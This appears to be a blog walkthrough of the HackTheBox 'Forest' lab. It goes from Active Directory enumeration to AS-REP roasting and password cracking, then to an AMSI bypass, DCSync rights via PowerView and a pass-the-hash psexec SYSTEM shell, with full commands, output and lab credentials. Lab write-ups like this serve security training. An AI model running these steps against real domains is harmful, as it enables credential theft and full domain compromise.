Forest is a vulnerable virtual machine created by egre55 and mrb3n on HackTheBox. In this post, we document a complete walkthrough of pwning this machine.
Enumeration
Nmap
Starting off with the nmap
scan, we see that this is a Windows machine with all sorts of Active Directory ports open.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ nmap-default 10.10.10.161
Nmap scan report for 10.10.10.161
Host is up (0.11s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-02-21 08:29:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h45m15s, deviation: 4h37m09s, median: 5m14s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2021-02-21T00:29:44-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-02-21T08:29:45
|_ start_date: 2021-02-21T07:57:08
We then perform an nmap-full
scan, by which a few more ports are discovered. In the results, we notice that the port 5985
is open which is WinRM
. The service can be convenient for us to get a shell when we have valid credentials.
1
2
3
4
5
6
7
$ nmap-full 10.10.10.161
...
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
For the details of the custom nmap
commands, check here.
LDAP
We can perform “null base” and “null bind” searches to let the server leak some information to us.
Query available base DNs from root DSE
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ldapsearch -h 10.10.10.161 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Query potential usernames:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ldapsearch -h 10.10.10.161 -x -b "DC=htb,DC=local" "(objectClass=Person)" sAMAccountName | grep sAMAccountName
# requesting: sAMAccountName
sAMAccountName: Guest
sAMAccountName: DefaultAccount
sAMAccountName: FOREST$
sAMAccountName: EXCH01$
sAMAccountName: $331000-VK4ADACQNUCA
sAMAccountName: SM_2c8eef0a09b545acb
sAMAccountName: SM_ca8c2ed5bdab4dc9b
sAMAccountName: SM_75a538d3025e4db9a
sAMAccountName: SM_681f53d4942840e18
sAMAccountName: SM_1b41c9286325456bb
sAMAccountName: SM_9b69f1b9d2cc45549
sAMAccountName: SM_7c96b981967141ebb
sAMAccountName: SM_c75ee099d0a64c91b
sAMAccountName: SM_1ffab36a2f5f479cb
sAMAccountName: HealthMailboxc3d7722
sAMAccountName: HealthMailboxfc9daad
sAMAccountName: HealthMailboxc0a90c9
sAMAccountName: HealthMailbox670628e
sAMAccountName: HealthMailbox968e74d
sAMAccountName: HealthMailbox6ded678
sAMAccountName: HealthMailbox83d6781
sAMAccountName: HealthMailboxfd87238
sAMAccountName: HealthMailboxb01ac64
sAMAccountName: HealthMailbox7108a4e
sAMAccountName: HealthMailbox0659cc1
sAMAccountName: sebastien
sAMAccountName: lucinda
sAMAccountName: andy
sAMAccountName: mark
sAMAccountName: santi
Readings:
https://www.tenable.com/plugins/nessus/10722
https://www.tenable.com/plugins/nessus/10723
https://tools.ietf.org/html/rfc4513#section-5.1.1
DNS
Play with the DNS:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ host htb.local 10.10.10.161
Using domain server:
Name: 10.10.10.161
Address: 10.10.10.161#53
Aliases:
htb.local has address 10.10.10.161
$ host -t ns htb.local 10.10.10.161
Using domain server:
Name: 10.10.10.161
Address: 10.10.10.161#53
Aliases:
htb.local name server forest.htb.local.
$ host forest.htb.local 10.10.10.161
Using domain server:
Name: 10.10.10.161
Address: 10.10.10.161#53
Aliases:
forest.htb.local has address 10.10.10.161
Try zone transfer failed:
1
2
3
4
5
6
7
8
9
$ host -t axfr htb.local 10.10.10.161
Trying "htb.local"
Using domain server:
Name: 10.10.10.161
Address: 10.10.10.161#53
Aliases:
Host htb.local not found: 5(REFUSED)
; Transfer failed.
SMB
Try listing shares with null session authentication failed:
1
2
3
$ crackmapexec smb 10.10.10.161 -u '' -p '' --shares
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.10.10.161 445 FOREST [-] htb.local\: STATUS_ACCESS_DENIED
RPC
Enumerate domain users with rpcclient
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ rpcclient -U '' -N 10.10.10.161
rpcclient $> enum
enumalsgroups enumdomains enumdrivers enumkey enumports enumprocdatatypes
enumdata enumdomgroups enumforms enummonitors enumprinters enumprocs
enumdataex enumdomusers enumjobs enumpermachineconnections enumprivs enumtrust
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
Note that the results are slightly different from what we get from LDAP
previously.
Exploitation
AS-REP Roasting
AS-REP roasting is an attack that allows retrieving password hashes for users that do not require Kerberos preauthentication. For more details, refer to here.
Get a list of users with UF_DONT_REQUIRE_PREAUTH
set:
1
2
3
4
5
6
$ impacket-GetNPUsers -dc-ip 10.10.10.161 htb.local/
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Name MemberOf PasswordLastSet LastLogon UAC
------------ ------------------------------------------------------ -------------------------- -------------------------- --------
svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 2021-02-21 05:15:28.644990 2021-02-21 04:34:44.843064 0x410200
Get a TGT for svc-alfresco
:
1
2
3
4
5
$ impacket-GetNPUsers -dc-ip 10.10.10.161 htb.local/svc-alfresco -no-pass
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for svc-alfresco
[email protected]:d2cb9ef633c35eb1025358d77a74d1b8$05cf5d6351281f527192489ce06d152359abd444ad19d6d1aae9790ccf3d602ca00fbf4cc01117f10ccf4ccdd8544f3d32dbe95d9fe3c1503ff1c8a2ce685a37d006db803d7c705dd81207c5e7fed044fbbdbc971b3ce7e4d349b3e1a1bb13de05890337afb73c4faa4ad95cd59ba8ed755a722f4620e093d98ed33d3b34c0c67df0332cadadaa2f9be567bdede1adfe4c96ffbc18b4a96fc3d9f7a3d6f84ec34294916d1fa236350c49c836efb74be3c2720afcb2c2c56ae88c4eab298e5b6f39b5c841141e1de728895a9d32faecddf52694de2c0bb912dbb124e4b4ab0126fed452a2ea7e
After copying the hash to a file named hash
, we can try to crack it with john
.
1
2
3
4
5
$ john -w=/opt/rockyou.txt hash
...
s3rvice ([email protected])
The crack is successful with the wordlist rockyou.txt
and we get the password s3rvice
for the account svc-alfresco
. With the credentials, we get a shell via Evil-WinRM
.
1
2
3
4
5
6
7
8
$ evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice -n
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
Privilege Escalation
To enumerate the domain and find PE vectors, we will use BloodHound
. First, we use the python based ingestor to collect information.
1
$ bloodhound-python -u svc-alfresco -p s3rvice -d htb.local -ns 10.10.10.161 -c all
By doing this, we get a few json
files. Next, we drop these files into BloodHound
. After the data is processed, we query “Shortest Path from Owned Principals”, and “Shortest Paths to High Value Targets” respectively. From the first query we we can see that svc-alfresco
, which is already owned by us, is eventually a member of “Account Operators”. This means that we can create users and add them to normal groups. Combining it with the second query, we find a PE path as the following:
This PE vector contais two main steps. In the first step, we will create an user and add it to the “Exchange Windows Permissions” group. We are able to do this because we are a member of the “Account Operators” group.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user qt Password123! /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" qt /add
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions"
Group name Exchange Windows Permissions
Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Windows accounts and groups. This group should not be deleted.
Members
-------------------------------------------------------------------------------
qt
The command completed successfully.
We also add this account to the “Remote Management Users” group so that we can login with Evil-WinRM
.
1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net localgroup "Remote Management Users" qt /add
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net localgroup "Remote Management Users"
Alias name Remote Management Users
Comment Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
Members
-------------------------------------------------------------------------------
Privileged IT Accounts
qt
The command completed successfully.
In the second step, we will use Add-ObjectACL
from PowerView.ps1
to grant us DCSync
Privileges. We are able to do this because we are now in the “Exchange Windows Permissions” group. More details of this attack can be found here.
Note that Bypass-4MSI
is needed before loading PowerView.ps1
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ evil-winrm -i 10.10.10.161 -u qt -p Password123! -n -s $(pwd)
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\qt\Documents> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' (` '` (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Laox @Hackplayers
[+] Bypass-4MSI
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
*Evil-WinRM* PS C:\Users\qt\Documents> Bypass-4MSI
[+] Patched! :D
*Evil-WinRM* PS C:\Users\qt\Documents> PowerView.ps1
*Evil-WinRM* PS C:\Users\qt\Documents> $pass = convertto-securestring 'Password123!' -asplain -force
*Evil-WinRM* PS C:\Users\qt\Documents> $cred = new-object system.management.automation.pscredential('HTB\qt', $pass)
*Evil-WinRM* PS C:\Users\qt\Documents> add-objectacl -principalidentity qt -credential $cred -rights DCSync
Now that we have DCSync
privileges, we can use impacket-secretsdump
to dump NTLM hashes of all domain users.
1
2
3
4
5
6
7
8
9
10
11
$ impacket-secretsdump htb.local/[email protected]
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
...
With the hash of Administrator
, we can pass-the-hash via psexec
and get an escalated shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ impacket-psexec [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file StbHukQA.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service GpKO on 10.10.10.161.....
[*] Starting service GpKO.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system